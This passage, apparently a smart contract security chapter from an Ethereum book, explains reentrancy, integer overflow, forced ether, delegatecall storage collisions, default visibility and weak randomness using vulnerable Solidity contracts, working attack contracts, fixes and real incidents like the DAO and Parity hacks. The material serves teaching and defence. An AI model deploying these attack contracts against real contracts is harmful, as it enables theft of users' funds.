The Vulnerability

This type of attack can occur when a contract sends ether to an unknown address. An attacker can carefully construct a contract at an external address that contains malicious code in the fallback function. Thus, when a contract sends ether to this address, it will invoke the malicious code. Typically the malicious code executes a function on the vulnerable contract, performing operations not expected by the developer. The term “reentrancy” comes from the fact that the external malicious contract calls a function on the vulnerable contract and the path of code execution “reenters” it.

To clarify this, consider the simple vulnerable contract in Example 9-1, which acts as an Ethereum vault that allows depositors to withdraw only 1 ether per week.

1 contract EtherStore {
2 
3     uint256 public withdrawalLimit = 1 ether;
4     mapping(address => uint256) public lastWithdrawTime;
5     mapping(address => uint256) public balances;
6 
7     function depositFunds() public payable {
8         balances[msg.sender] += msg.value;
9     }
10 
11     function withdrawFunds (uint256 _weiToWithdraw) public {
12         require(balances[msg.sender] >= _weiToWithdraw);
13         // limit the withdrawal
14         require(_weiToWithdraw <= withdrawalLimit);
15         // limit the time allowed to withdraw
16         require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
17         require(msg.sender.call.value(_weiToWithdraw)());
18         balances[msg.sender] -= _weiToWithdraw;
19         lastWithdrawTime[msg.sender] = now;
20     }
21  }

This contract has two public functions, depositFunds and withdrawFunds. The depositFunds function simply increments the sender’s balance. The withdrawFunds function allows the sender to specify the amount of wei to withdraw. This function is intended to succeed only if the requested amount to withdraw is less than 1 ether and a withdrawal has not occurred in the last week.

The vulnerability is in line 17, where the contract sends the user their requested amount of ether. Consider an attacker who has created the contract in Example 9-2.

1 import "EtherStore.sol";
2 
3 contract Attack {
4   EtherStore public etherStore;
5 
6   // intialize the etherStore variable with the contract address
7   constructor(address _etherStoreAddress) {
8       etherStore = EtherStore(_etherStoreAddress);
9   }
10 
11   function attackEtherStore() public payable {
12       // attack to the nearest ether
13       require(msg.value >= 1 ether);
14       // send eth to the depositFunds() function
15       etherStore.depositFunds.value(1 ether)();
16       // start the magic
17       etherStore.withdrawFunds(1 ether);
18   }
19 
20   function collectEther() public {
21       msg.sender.transfer(this.balance);
22   }
23 
24   // fallback function - where the magic happens
25   function () payable {
26       if (etherStore.balance > 1 ether) {
27           etherStore.withdrawFunds(1 ether);
28       }
29   }
30 }

How might the exploit occur? First, the attacker would create the malicious contract (let’s say at the address 0x0...123) with the EtherStore’s contract address as the sole constructor parameter. This would initialize and point the public variable etherStore to the contract to be attacked.

The attacker would then call the attackEtherStore function, with some amount of ether greater than or equal to 1—let’s assume 1 ether for the time being. In this example, we will also assume a number of other users have deposited ether into this contract, such that its current balance is 10 ether. The following will then occur:

1. Attack.sol, line 15: The depositFunds function of the EtherStore contract will be called with a msg.value of 1 ether (and a lot of gas). The sender (msg.sender) will be the malicious contract (0x0...123). Thus, balances[0x0..123] = 1 ether.

2. Attack.sol, line 17: The malicious contract will then call the withdrawFunds function of the EtherStore contract with a parameter of 1 ether. This will pass all the requirements (lines 12–16 of the EtherStore contract) as no previous withdrawals have been made.

3. EtherStore.sol, line 17: The contract will send 1 ether back to the malicious contract.

4. Attack.sol, line 25: The payment to the malicious contract will then execute the fallback function.

5. Attack.sol, line 26: The total balance of the EtherStore contract was 10 ether and is now 9 ether, so this if statement passes.

6. Attack.sol, line 27: The fallback function calls the EtherStore withdrawFunds function again and reenters the EtherStore contract.

7. EtherStore.sol, line 11: In this second call to withdrawFunds, the attacking contract’s balance is still 1 ether as line 18 has not yet been executed. Thus, we still have balances[0x0..123] = 1 ether. This is also the case for the lastWithdrawTime variable. Again, we pass all the requirements.

8. EtherStore.sol, line 17: The attacking contract withdraws another 1 ether.

9. Steps 4–8 repeat until it is no longer the case that EtherStore.balance > 1, as dictated by line 26 in Attack.sol.

10. Attack.sol, line 26: Once there is 1 (or less) ether left in the EtherStore contract, this if statement will fail. This will then allow lines 18 and 19 of the EtherStore contract to be executed (for each call to the withdrawFunds function).

11. EtherStore.sol, lines 18 and 19: The balances and lastWithdrawTime mappings will be set and the execution will end.

The final result is that the attacker has withdrawn all but 1 ether from the EtherStore contract in a single transaction.

Preventative Techniques

There are a number of common techniques that help avoid potential reentrancy vulnerabilities in smart contracts. The first is to (whenever possible) use the built-in transfer function when sending ether to external contracts. The transfer function only sends 2300 gas with the external call, which is not enough for the destination address/contract to call another contract (i.e., reenter the sending contract).

The second technique is to ensure that all logic that changes state variables happens before ether is sent out of the contract (or any external call). In the EtherStore example, lines 18 and 19 of EtherStore.sol should be put before line 17. It is good practice for any code that performs external calls to unknown addresses to be the last operation in a localized function or piece of code execution. This is known as the checks-effects-interactions pattern.

A third technique is to introduce a mutex—that is, to add a state variable that locks the contract during code execution, preventing reentrant calls.

Applying all of these techniques (using all three is unnecessary, but we do it for demonstrative purposes) to EtherStore.sol, gives the reentrancy-free contract:

1 contract EtherStore {
2 
3     // initialize the mutex
4     bool reEntrancyMutex = false;
5     uint256 public withdrawalLimit = 1 ether;
6     mapping(address => uint256) public lastWithdrawTime;
7     mapping(address => uint256) public balances;
8 
9     function depositFunds() public payable {
10         balances[msg.sender] += msg.value;
11     }
12 
13     function withdrawFunds (uint256 _weiToWithdraw) public {
14         require(!reEntrancyMutex);
15         require(balances[msg.sender] >= _weiToWithdraw);
16         // limit the withdrawal
17         require(_weiToWithdraw <= withdrawalLimit);
18         // limit the time allowed to withdraw
19         require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
20         balances[msg.sender] -= _weiToWithdraw;
21         lastWithdrawTime[msg.sender] = now;
22         // set the reEntrancy mutex before the external call
23         reEntrancyMutex = true;
24         msg.sender.transfer(_weiToWithdraw);
25         // release the mutex after the external call
26         reEntrancyMutex = false;
27     }
28  }

Real-World Example: The DAO

The DAO (Decentralized Autonomous Organization) attack was one of the major hacks that occurred in the early development of Ethereum. At the time, the contract held over $150 million. Reentrancy played a major role in the attack, which ultimately led to the hard fork that created Ethereum Classic (ETC). For a good analysis of the DAO exploit, see http://bit.ly/2EQaLCI. More information on Ethereum’s fork history, the DAO hack timeline, and the birth of ETC in a hard fork can be found in Appendix B.

The Vulnerability

An over/underflow occurs when an operation is performed that requires a fixed-size variable to store a number (or piece of data) that is outside the range of the variable’s data type.

For example, subtracting 1 from a uint8 (unsigned integer of 8 bits; i.e., nonnegative) variable whose value is 0 will result in the number 255. This is an underflow. We have assigned a number below the range of the uint8, so the result wraps around and gives the largest number a uint8 can store. Similarly, adding 2^8=256 to a uint8 will leave the variable unchanged, as we have wrapped around the entire length of the uint. Two simple analogies of this behavior are odometers in cars, which measure distance traveled (they reset to 000000, after the largest number, i.e., 999999, is surpassed) and periodic mathematical functions (adding 2π to the argument of sin leaves the value unchanged).

Adding numbers larger than the data type’s range is called an overflow. For clarity, adding 257 to a uint8 that currently has a value of 0 will result in the number 1. It is sometimes instructive to think of fixed-size variables as being cyclic, where we start again from zero if we add numbers above the largest possible stored number, and start counting down from the largest number if we subtract from zero. In the case of signed int types, which can represent negative numbers, we start again once we reach the largest negative value; for example, if we try to subtract 1 from a uint8 whose value is -128, we will get 127.

These kinds of numerical gotchas allow attackers to misuse code and create unexpected logic flows. For example, consider the TimeLock contract in Example 9-3.

1 contract TimeLock {
2 
3     mapping(address => uint) public balances;
4     mapping(address => uint) public lockTime;
5 
6     function deposit() public payable {
7         balances[msg.sender] += msg.value;
8         lockTime[msg.sender] = now + 1 weeks;
9     }
10 
11     function increaseLockTime(uint _secondsToIncrease) public {
12         lockTime[msg.sender] += _secondsToIncrease;
13     }
14 
15     function withdraw() public {
16         require(balances[msg.sender] > 0);
17         require(now > lockTime[msg.sender]);
18         balances[msg.sender] = 0;
19         msg.sender.transfer(balance);
20     }
21 }

This contract is designed to act like a time vault: users can deposit ether into the contract and it will be locked there for at least a week. The user may extend the wait time to longer than 1 week if they choose, but once deposited, the user can be sure their ether is locked in safely for at least a week—or so this contract intends.

In the event that a user is forced to hand over their private key, a contract such as this might be handy to ensure their ether is unobtainable for a short period of time. But if a user had locked in 100 ether in this contract and handed their keys over to an attacker, the attacker could use an overflow to receive the ether, regardless of the lockTime.

The attacker could determine the current lockTime for the address they now hold the key for (it’s a public variable). Let’s call this userLockTime. They could then call the increaseLockTime function and pass as an argument the number 2^256 - userLockTime. This number would be added to the current userLockTime and cause an overflow, resetting lockTime[msg.sender] to 0. The attacker could then simply call the withdraw function to obtain their reward.

Let’s look at another example (Example 9-4), this one from the Ethernaut challenges.

SPOILER ALERT: If you have not yet done the Ethernaut challenges, this gives a solution to one of the levels.

1 pragma solidity ^0.4.18;
2 
3 contract Token {
4 
5   mapping(address => uint) balances;
6   uint public totalSupply;
7 
8   function Token(uint _initialSupply) {
9     balances[msg.sender] = totalSupply = _initialSupply;
10   }
11 
12   function transfer(address _to, uint _value) public returns (bool) {
13     require(balances[msg.sender] - _value >= 0);
14     balances[msg.sender] -= _value;
15     balances[_to] += _value;
16     return true;
17   }
18 
19   function balanceOf(address _owner) public constant returns (uint balance) {
20     return balances[_owner];
21   }
22 }

This is a simple token contract that employs a transfer function, allowing participants to move their tokens around. Can you see the error in this contract?

The flaw comes in the transfer function. The require statement on line 13 can be bypassed using an underflow. Consider a user with a zero balance. They could call the transfer function with any nonzero _value and pass the require statement on line 13. This is because balances[msg.sender] is 0 (and a uint256), so subtracting any positive amount (excluding 2^256) will result in a positive number, as described previously. This is also true for line 14, where the balance will be credited with a positive number. Thus, in this example, an attacker can achieve free tokens due to an underflow vulnerability.

Preventative Techniques

The current conventional technique to guard against under/overflow vulnerabilities is to use or build mathematical libraries that replace the standard math operators addition, subtraction, and multiplication (division is excluded as it does not cause over/underflows and the EVM reverts on division by 0).

OpenZeppelin has done a great job of building and auditing secure libraries for the Ethereum community. In particular, its SafeMath library can be used to avoid under/overflow vulnerabilities.

To demonstrate how these libraries are used in Solidity, let’s correct the TimeLock contract using the SafeMath library. The overflow-free version of the contract is:

1 library SafeMath {
2 
3   function mul(uint256 a, uint256 b) internal pure returns (uint256) {
4     if (a == 0) {
5       return 0;
6     }
7     uint256 c = a * b;
8     assert(c / a == b);
9     return c;
10   }
11 
12   function div(uint256 a, uint256 b) internal pure returns (uint256) {
13     // assert(b > 0); // Solidity automatically throws when dividing by 0
14     uint256 c = a / b;
15     // assert(a == b * c + a % b); // This holds in all cases
16     return c;
17   }
18 
19   function sub(uint256 a, uint256 b) internal pure returns (uint256) {
20     assert(b <= a);
21     return a - b;
22   }
23 
24   function add(uint256 a, uint256 b) internal pure returns (uint256) {
25     uint256 c = a + b;
26     assert(c >= a);
27     return c;
28   }
29 }
30 
31 contract TimeLock {
32     using SafeMath for uint; // use the library for uint type
33     mapping(address => uint256) public balances;
34     mapping(address => uint256) public lockTime;
35 
36     function deposit() public payable {
37         balances[msg.sender] = balances[msg.sender].add(msg.value);
38         lockTime[msg.sender] = now.add(1 weeks);
39     }
40 
41     function increaseLockTime(uint256 _secondsToIncrease) public {
42         lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
43     }
44 
45     function withdraw() public {
46         require(balances[msg.sender] > 0);
47         require(now > lockTime[msg.sender]);
48         balances[msg.sender] = 0;
49         msg.sender.transfer(balance);
50     }
51 }

Notice that all standard math operations have been replaced by those defined in the SafeMath library. The TimeLock contract no longer performs any operation that is capable of under/overflow.

Real-World Examples: PoWHC and Batch Transfer Overflow (CVE-2018–10299)

Proof of Weak Hands Coin (PoWHC), originally devised as a joke of sorts, was a Ponzi scheme written by an internet collective. Unfortunately it seems that the author(s) of the contract had not seen over/underflows before, and consequently 866 ether were liberated from its contract. Eric Banisadr gives a good overview of how the underflow occurred (which is not too dissimilar to the Ethernaut challenge described earlier) in his blog post on the event.

Another example comes from the implementation of a batchTransfer() function into a group of ERC20 token contracts. The implementation contained an overflow vulnerability; you can read about the details in PeckShield’s account.

The Vulnerability

A common defensive programming technique that is useful in enforcing correct state transitions or validating operations is invariant checking. This technique involves defining a set of invariants (metrics or parameters that should not change) and checking that they remain unchanged after a single (or many) operation(s). This is typically good design, provided the invariants being checked are in fact invariants. One example of an invariant is the totalSupply of a fixed-issuance ERC20 token. As no function should modify this invariant, one could add a check to the transfer function that ensures the totalSupply remains unmodified, to guarantee the function is working as expected.

In particular, there is one apparent invariant that it may be tempting to use but that can in fact be manipulated by external users (regardless of the rules put in place in the smart contract). This is the current ether stored in the contract. Often when developers first learn Solidity they have the misconception that a contract can only accept or obtain ether via payable functions. This misconception can lead to contracts that have false assumptions about the ether balance within them, which can lead to a range of vulnerabilities. The smoking gun for this vulnerability is the (incorrect) use of this.balance.

There are two ways in which ether can (forcibly) be sent to a contract without using a payable function or executing any code on the contract:

Self-destruct/suicide

Any contract is able to implement the selfdestruct function, which removes all bytecode from the contract address and sends all ether stored there to the parameter-specified address. If this specified address is also a contract, no functions (including the fallback) get called. Therefore, the selfdestruct function can be used to forcibly send ether to any contract regardless of any code that may exist in the contract, even contracts with no payable functions. This means any attacker can create a contract with a selfdestruct function, send ether to it, call selfdestruct(target) and force ether to be sent to a target contract. Martin Swende has an excellent blog post describing some quirks of the self-destruct opcode (Quirk #2) along with an account of how client nodes were checking incorrect invariants, which could have led to a rather catastrophic crash of the Ethereum network.

Pre-sent ether

Another way to get ether into a contract is to preload the contract address with ether. Contract addresses are deterministic—in fact, the address is calculated from the Keccak-256 (commonly synonymous with SHA-3) hash of the address creating the contract and the transaction nonce that creates the contract. Specifically, it is of the form address = sha3(rlp.encode([account_address,transaction_nonce])) (see Adrian Manning’s discussion of “Keyless Ether” for some fun use cases of this). This means anyone can calculate what a contract’s address will be before it is created and send ether to that address. When the contract is created it will have a nonzero ether balance.

Let’s explore some pitfalls that can arise given this knowledge. Consider the overly simple contract in Example 9-5.

1 contract EtherGame {
2 
3     uint public payoutMileStone1 = 3 ether;
4     uint public mileStone1Reward = 2 ether;
5     uint public payoutMileStone2 = 5 ether;
6     uint public mileStone2Reward = 3 ether;
7     uint public finalMileStone = 10 ether;
8     uint public finalReward = 5 ether;
9 
10     mapping(address => uint) redeemableEther;
11     // Users pay 0.5 ether. At specific milestones, credit their accounts.
12     function play() public payable {
13         require(msg.value == 0.5 ether); // each play is 0.5 ether
14         uint currentBalance = this.balance + msg.value;
15         // ensure no players after the game has finished
16         require(currentBalance <= finalMileStone);
17         // if at a milestone, credit the player's account
18         if (currentBalance == payoutMileStone1) {
19             redeemableEther[msg.sender] += mileStone1Reward;
20         }
21         else if (currentBalance == payoutMileStone2) {
22             redeemableEther[msg.sender] += mileStone2Reward;
23         }
24         else if (currentBalance == finalMileStone ) {
25             redeemableEther[msg.sender] += finalReward;
26         }
27         return;
28     }
29 
30     function claimReward() public {
31         // ensure the game is complete
32         require(this.balance == finalMileStone);
33         // ensure there is a reward to give
34         require(redeemableEther[msg.sender] > 0);
35         redeemableEther[msg.sender] = 0;
36         msg.sender.transfer(transferValue);
37     }
38  }

This contract represents a simple game (which would naturally involve race conditions) where players send 0.5 ether to the contract in the hopes of being the player that reaches one of three milestones first. Milestones are denominated in ether. The first to reach the milestone may claim a portion of the ether when the game has ended. The game ends when the final milestone (10 ether) is reached; users can then claim their rewards.

The issues with the EtherGame contract come from the poor use of this.balance in both lines 14 (and by association 16) and 32. A mischievous attacker could forcibly send a small amount of ether—say, 0.1 ether—via the selfdestruct function (discussed earlier) to prevent any future players from reaching a milestone. this.balance will never be a multiple of 0.5 ether thanks to this 0.1 ether contribution, because all legitimate players can only send 0.5-ether increments. This prevents all the if conditions on lines 18, 21, and 24 from being true.

Even worse, a vengeful attacker who missed a milestone could forcibly send 10 ether (or an equivalent amount of ether that pushes the contract’s balance above the finalMileStone), which would lock all rewards in the contract forever. This is because the claimReward function will always revert, due to the require on line 32 (i.e., because this.balance is greater than finalMileStone).

Preventative Techniques

This sort of vulnerability typically arises from the misuse of this.balance. Contract logic, when possible, should avoid being dependent on exact values of the balance of the contract, because it can be artificially manipulated. If applying logic based on this.balance, you have to cope with unexpected balances.

If exact values of deposited ether are required, a self-defined variable should be used that is incremented in payable functions, to safely track the deposited ether. This variable will not be influenced by the forced ether sent via a selfdestruct call.

With this in mind, a corrected version of the EtherGame contract could look like:

1 contract EtherGame {
2 
3     uint public payoutMileStone1 = 3 ether;
4     uint public mileStone1Reward = 2 ether;
5     uint public payoutMileStone2 = 5 ether;
6     uint public mileStone2Reward = 3 ether;
7     uint public finalMileStone = 10 ether;
8     uint public finalReward = 5 ether;
9     uint public depositedWei;
10 
11     mapping (address => uint) redeemableEther;
12 
13     function play() public payable {
14         require(msg.value == 0.5 ether);
15         uint currentBalance = depositedWei + msg.value;
16         // ensure no players after the game has finished
17         require(currentBalance <= finalMileStone);
18         if (currentBalance == payoutMileStone1) {
19             redeemableEther[msg.sender] += mileStone1Reward;
20         }
21         else if (currentBalance == payoutMileStone2) {
22             redeemableEther[msg.sender] += mileStone2Reward;
23         }
24         else if (currentBalance == finalMileStone ) {
25             redeemableEther[msg.sender] += finalReward;
26         }
27         depositedWei += msg.value;
28         return;
29     }
30 
31     function claimReward() public {
32         // ensure the game is complete
33         require(depositedWei == finalMileStone);
34         // ensure there is a reward to give
35         require(redeemableEther[msg.sender] > 0);
36         redeemableEther[msg.sender] = 0;
37         msg.sender.transfer(transferValue);
38     }
39  }

Here, we have created a new variable, depositedEther, which keeps track of the known ether deposited, and it is this variable that we use for our tests. Note that we no longer have any reference to this.balance.

Further Examples

A few examples of exploitable contracts were given in the Underhanded Solidity Coding Contest, which also provides extended examples of a number of the pitfalls raised in this section.

The Vulnerability

As a result of the context-preserving nature of DELEGATECALL, building vulnerability-free custom libraries is not as easy as one might think. The code in libraries themselves can be secure and vulnerability-free; however, when run in the context of another application new vulnerabilities can arise. Let’s see a fairly complex example of this, using Fibonacci numbers.

Consider the library in Example 9-6, which can generate the Fibonacci sequence and sequences of similar form. (Note: this code was modified from https://bit.ly/2MReuii.)

1 // library contract - calculates Fibonacci-like numbers
2 contract FibonacciLib {
3     // initializing the standard Fibonacci sequence
4     uint public start;
5     uint public calculatedFibNumber;
6 
7     // modify the zeroth number in the sequence
8     function setStart(uint _start) public {
9         start = _start;
10     }
11 
12     function setFibonacci(uint n) public {
13         calculatedFibNumber = fibonacci(n);
14     }
15 
16     function fibonacci(uint n) internal returns (uint) {
17         if (n == 0) return start;
18         else if (n == 1) return start + 1;
19         else return fibonacci(n - 1) + fibonacci(n - 2);
20     }
21 }

This library provides a function that can generate the n-th Fibonacci number in the sequence. It allows users to change the starting number of the sequence (start) and calculate the n-th Fibonacci-like numbers in this new sequence.

Let us now consider a contract that utilizes this library, shown in Example 9-7.

1 contract FibonacciBalance {
2 
3     address public fibonacciLibrary;
4     // the current Fibonacci number to withdraw
5     uint public calculatedFibNumber;
6     // the starting Fibonacci sequence number
7     uint public start = 3;
8     uint public withdrawalCounter;
9     // the Fibonancci function selector
10     bytes4 constant fibSig = bytes4(sha3("setFibonacci(uint256)"));
11 
12     // constructor - loads the contract with ether
13     constructor(address _fibonacciLibrary) public payable {
14         fibonacciLibrary = _fibonacciLibrary;
15     }
16 
17     function withdraw() {
18         withdrawalCounter += 1;
19         // calculate the Fibonacci number for the current withdrawal user-
20         // this sets calculatedFibNumber
21         require(fibonacciLibrary.delegatecall(fibSig, withdrawalCounter));
22         msg.sender.transfer(calculatedFibNumber * 1 ether);
23     }
24 
25     // allow users to call Fibonacci library functions
26     function() public {
27         require(fibonacciLibrary.delegatecall(msg.data));
28     }
29 }

This contract allows a participant to withdraw ether from the contract, with the amount of ether being equal to the Fibonacci number corresponding to the participant’s withdrawal order; i.e., the first participant gets 1 ether, the second also gets 1, the third gets 2, the fourth gets 3, the fifth 5, and so on (until the balance of the contract is less than the Fibonacci number being withdrawn).

There are a number of elements in this contract that may require some explanation. Firstly, there is an interesting-looking variable, fibSig. This holds the first 4 bytes of the Keccak-256 (SHA-3) hash of the string 'setFibonacci(uint256)'. This is known as the function selector and is put into calldata to specify which function of a smart contract will be called. It is used in the delegatecall function on line 21 to specify that we wish to run the fibonacci(uint256) function. The second argument in delegatecall is the parameter we are passing to the function. Secondly, we assume that the address for the FibonacciLib library is correctly referenced in the constructor (“External Contract Referencing” discusses some potential vulnerabilities relating to this kind of contract reference initialization).

Can you spot any errors in this contract? If one were to deploy this contract, fill it with ether, and call withdraw, it would likely revert.

You may have noticed that the state variable start is used in both the library and the main calling contract. In the library contract, start is used to specify the beginning of the Fibonacci sequence and is set to 0, whereas it is set to 3 in the calling contract. You may also have noticed that the fallback function in the FibonacciBalance contract allows all calls to be passed to the library contract, which allows for the setStart function of the library contract to be called. Recalling that we preserve the state of the contract, it may seem that this function would allow you to change the state of the start variable in the local FibonnacciBalance contract. If so, this would allow one to withdraw more ether, as the resulting calculatedFibNumber is dependent on the start variable (as seen in the library contract). In actual fact, the setStart function does not (and cannot) modify the start variable in the FibonacciBalance contract. The underlying vulnerability in this contract is significantly worse than just modifying the start variable.

Before discussing the actual issue, let’s take a quick detour to understand how state variables actually get stored in contracts. State or storage variables (variables that persist over individual transactions) are placed into slots sequentially as they are introduced in the contract. (There are some complexities here; consult the Solidity docs for a more thorough understanding.)

As an example, let’s look at the library contract. It has two state variables, start and calculatedFibNumber. The first variable, start, is stored in the contract’s storage at slot[0] (i.e., the first slot). The second variable, calculatedFibNumber, is placed in the next available storage slot, slot[1]. The function setStart takes an input and sets start to whatever the input was. This function therefore sets slot[0] to whatever input we provide in the setStart function. Similarly, the setFibonacci function sets calculatedFibNumber to the result of fibonacci(n). Again, this is simply setting storage slot[1] to the value of fibonacci(n).

Now let’s look at the FibonacciBalance contract. Storage slot[0] now corresponds to the fibonacciLibrary address, and slot[1] corresponds to calculatedFibNumber. It is in this incorrect mapping that the vulnerability occurs. delegatecall preserves contract context. This means that code that is executed via delegatecall will act on the state (i.e., storage) of the calling contract.

Now notice that in withdraw on line 21 we execute fibonacciLibrary.delegatecall(fibSig,withdrawalCounter). This calls the setFibonacci function, which, as we discussed, modifies storage slot[1], which in our current context is calculatedFibNumber. This is as expected (i.e., after execution, calculatedFibNumber is modified). However, recall that the start variable in the FibonacciLib contract is located in storage slot[0], which is the fibonacciLibrary address in the current contract. This means that the function fibonacci will give an unexpected result. This is because it references start (slot[0]), which in the current calling context is the fibonacciLibrary address (which will often be quite large, when interpreted as a uint). Thus it is likely that the withdraw function will revert, as it will not contain uint(fibonacciLibrary) amount of ether, which is what calculatedFibNumber will return.

Even worse, the FibonacciBalance contract allows users to call all of the fibonacciLibrary functions via the fallback function at line 26. As we discussed earlier, this includes the setStart function. We discussed that this function allows anyone to modify or set storage slot[0]. In this case, storage slot[0] is the fibonacciLibrary address. Therefore, an attacker could create a malicious contract, convert the address to a uint (this can be done in Python easily using int('<address>',16)), and then call setStart(<attack_contract_address_as_uint>). This will change fibonacciLibrary to the address of the attack contract. Then, whenever a user calls withdraw or the fallback function, the malicious contract will run (which can steal the entire balance of the contract) because we’ve modified the actual address for fibonacciLibrary. An example of such an attack contract would be:

1 contract Attack {
2     uint storageSlot0; // corresponds to fibonacciLibrary
3     uint storageSlot1; // corresponds to calculatedFibNumber
4 
5     // fallback - this will run if a specified function is not found
6     function() public {
7         storageSlot1 = 0; // we set calculatedFibNumber to 0, so if withdraw
8         // is called we don't send out any ether
9         <attacker_address>.transfer(this.balance); // we take all the ether
10     }
11  }

Notice that this attack contract modifies the calculatedFibNumber by changing storage slot[1]. In principle, an attacker could modify any other storage slots they choose, to perform all kinds of attacks on this contract. We encourage you to put these contracts into Remix and experiment with different attack contracts and state changes through these delegatecall functions.

It is also important to notice that when we say that delegatecall is state-preserving, we are not talking about the variable names of the contract, but rather the actual storage slots to which those names point. As you can see from this example, a simple mistake can lead to an attacker hijacking the entire contract and its ether.

Preventative Techniques

Solidity provides the library keyword for implementing library contracts (see the docs for further details). This ensures the library contract is stateless and non-self-destructable. Forcing libraries to be stateless mitigates the complexities of storage context demonstrated in this section. Stateless libraries also prevent attacks wherein attackers modify the state of the library directly in order to affect the contracts that depend on the library’s code. As a general rule of thumb, when using DELEGATECALL pay careful attention to the possible calling context of both the library contract and the calling contract, and whenever possible build stateless libraries.

Real-World Example: Parity Multisig Wallet (Second Hack)

The Second Parity Multisig Wallet hack is an example of how well-written library code can be exploited if run outside its intended context. There are a number of good explanations of this hack, such as “Parity Multisig Hacked. Again” and “An In-Depth Look at the Parity Multisig Bug”.

To add to these references, let’s explore the contracts that were exploited. The library and wallet contracts can be found on GitHub.

The library contract is as follows:

1 contract WalletLibrary is WalletEvents {
2 
3   ...
4 
5   // throw unless the contract is not yet initialized.
6   modifier only_uninitialized { if (m_numOwners > 0) throw; _; }
7 
8   // constructor - just pass on the owner array to multiowned and
9   // the limit to daylimit
10   function initWallet(address[] _owners, uint _required, uint _daylimit)
11       only_uninitialized {
12     initDaylimit(_daylimit);
13     initMultiowned(_owners, _required);
14   }
15 
16   // kills the contract sending everything to `_to`.
17   function kill(address _to) onlymanyowners(sha3(msg.data)) external {
18     suicide(_to);
19   }
20 
21   ...
22 
23 }

And here’s the wallet contract:

1 contract Wallet is WalletEvents {
2 
3   ...
4 
5   // METHODS
6 
7   // gets called when no other function matches
8   function() payable {
9     // just being sent some cash?
10     if (msg.value > 0)
11       Deposit(msg.sender, msg.value);
12     else if (msg.data.length > 0)
13       _walletLibrary.delegatecall(msg.data);
14   }
15 
16   ...
17 
18   // FIELDS
19   address constant _walletLibrary =
20     0xcafecafecafecafecafecafecafecafecafecafe;
21 }

Notice that the Wallet contract essentially passes all calls to the WalletLibrary contract via a delegate call. The constant _walletLibrary address in this code snippet acts as a placeholder for the actually deployed WalletLibrary contract (which was at 0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4).

The intended operation of these contracts was to have a simple low-cost deployable Wallet contract whose codebase and main functionality were in the WalletLibrary contract. Unfortunately, the WalletLibrary contract is itself a contract and maintains its own state. Can you see why this might be an issue?

It is possible to send calls to the WalletLibrary contract itself. Specifically, the WalletLibrary contract could be initialized and become owned. In fact, a user did this, calling the initWallet function on the WalletLibrary contract and becoming an owner of the library contract. The same user subsequently called the kill function. Because the user was an owner of the library contract, the modifier passed and the library contract self-destructed. As all Wallet contracts in existence refer to this library contract and contain no method to change this reference, all of their functionality, including the ability to withdraw ether, was lost along with the WalletLibrary contract. As a result, all ether in all Parity multisig wallets of this type instantly became lost or permanently unrecoverable.

The Vulnerability

The default visibility for functions is public, so functions that do not specify their visibility will be callable by external users. The issue arises when developers mistakenly omit visibility specifiers on functions that should be private (or only callable within the contract itself).

Let’s quickly explore a trivial example:

1 contract HashForEther {
2 
3     function withdrawWinnings() {
4         // Winner if the last 8 hex characters of the address are 0
5         require(uint32(msg.sender) == 0);
6         _sendWinnings();
7      }
8 
9      function _sendWinnings() {
10          msg.sender.transfer(this.balance);
11      }
12 }

This simple contract is designed to act as an address-guessing bounty game. To win the balance of the contract, a user must generate an Ethereum address whose last 8 hex characters are 0. Once achieved, they can call the withdrawWinnings function to obtain their bounty.

Unfortunately, the visibility of the functions has not been specified. In particular, the _sendWinnings function is public (the default), and thus any address can call this function to steal the bounty.

Preventative Techniques

It is good practice to always specify the visibility of all functions in a contract, even if they are intentionally public. Recent versions of solc show a warning for functions that have no explicit visibility set, to encourage this practice.

Real-World Example: Parity Multisig Wallet (First Hack)

In the first Parity multisig hack, about $31M worth of Ether was stolen, mostly from three wallets. A good recap of exactly how this was done is given by Haseeb Qureshi.

Essentially, the multisig wallet is constructed from a base Wallet contract, which calls a library contract containing the core functionality (as described in “Real-World Example: Parity Multisig Wallet (Second Hack)”). The library contract contains the code to initialize the wallet, as can be seen from the following snippet:

1 contract WalletLibrary is WalletEvents {
2 
3   ...
4 
5   // METHODS
6 
7   ...
8 
9   // constructor is given number of sigs required to do protected
10   // "onlymanyowners" transactionsas well as the selection of addresses
11   // capable of confirming them
12   function initMultiowned(address[] _owners, uint _required) {
13     m_numOwners = _owners.length + 1;
14     m_owners[1] = uint(msg.sender);
15     m_ownerIndex[uint(msg.sender)] = 1;
16     for (uint i = 0; i < _owners.length; ++i)
17     {
18       m_owners[2 + i] = uint(_owners[i]);
19       m_ownerIndex[uint(_owners[i])] = 2 + i;
20     }
21     m_required = _required;
22   }
23 
24   ...
25 
26   // constructor - just pass on the owner array to multiowned and
27   // the limit to daylimit
28   function initWallet(address[] _owners, uint _required, uint _daylimit) {
29     initDaylimit(_daylimit);
30     initMultiowned(_owners, _required);
31   }
32 }

Note that neither of the functions specifies their visibility, so both default to public. The initWallet function is called in the wallet’s constructor, and sets the owners for the multisig wallet as can be seen in the initMultiowned function. Because these functions were accidentally left public, an attacker was able to call these functions on deployed contracts, resetting the ownership to the attacker’s address. Being the owner, the attacker then drained the wallets of all their ether.

The Vulnerability

Some of the first contracts built on the Ethereum platform were based around gambling. Fundamentally, gambling requires uncertainty (something to bet on), which makes building a gambling system on the blockchain (a deterministic system) rather difficult. It is clear that the uncertainty must come from a source external to the blockchain. This is possible for bets between players (see for example the commit–reveal technique); however, it is significantly more difficult if you want to implement a contract to act as “the house” (like in blackjack or roulette). A common pitfall is to use future block variables—that is, variables containing information about the transaction block whose values are not yet known, such as hashes, timestamps, block numbers, or gas limits. The issue with these are that they are controlled by the miner who mines the block, and as such are not truly random. Consider, for example, a roulette smart contract with logic that returns a black number if the next block hash ends in an even number. A miner (or miner pool) could bet $1M on black. If they solve the next block and find the hash ends in an odd number, they could happily not publish their block and mine another, until they find a solution with the block hash being an even number (assuming the block reward and fees are less than $1M). Using past or present variables can be even more devastating, as Martin Swende demonstrates in his excellent blog post. Furthermore, using solely block variables means that the pseudorandom number will be the same for all transactions in a block, so an attacker can multiply their wins by doing many transactions within a block (should there be a maximum bet).

Preventative Techniques

The source of entropy (randomness) must be external to the blockchain. This can be done among peers with systems such as commit–reveal, or via changing the trust model to a group of participants (as in RandDAO). This can also be done via a centralized entity that acts as a randomness oracle. Block variables (in general, there are some exceptions) should not be used to source entropy, as they can be manipulated by miners.
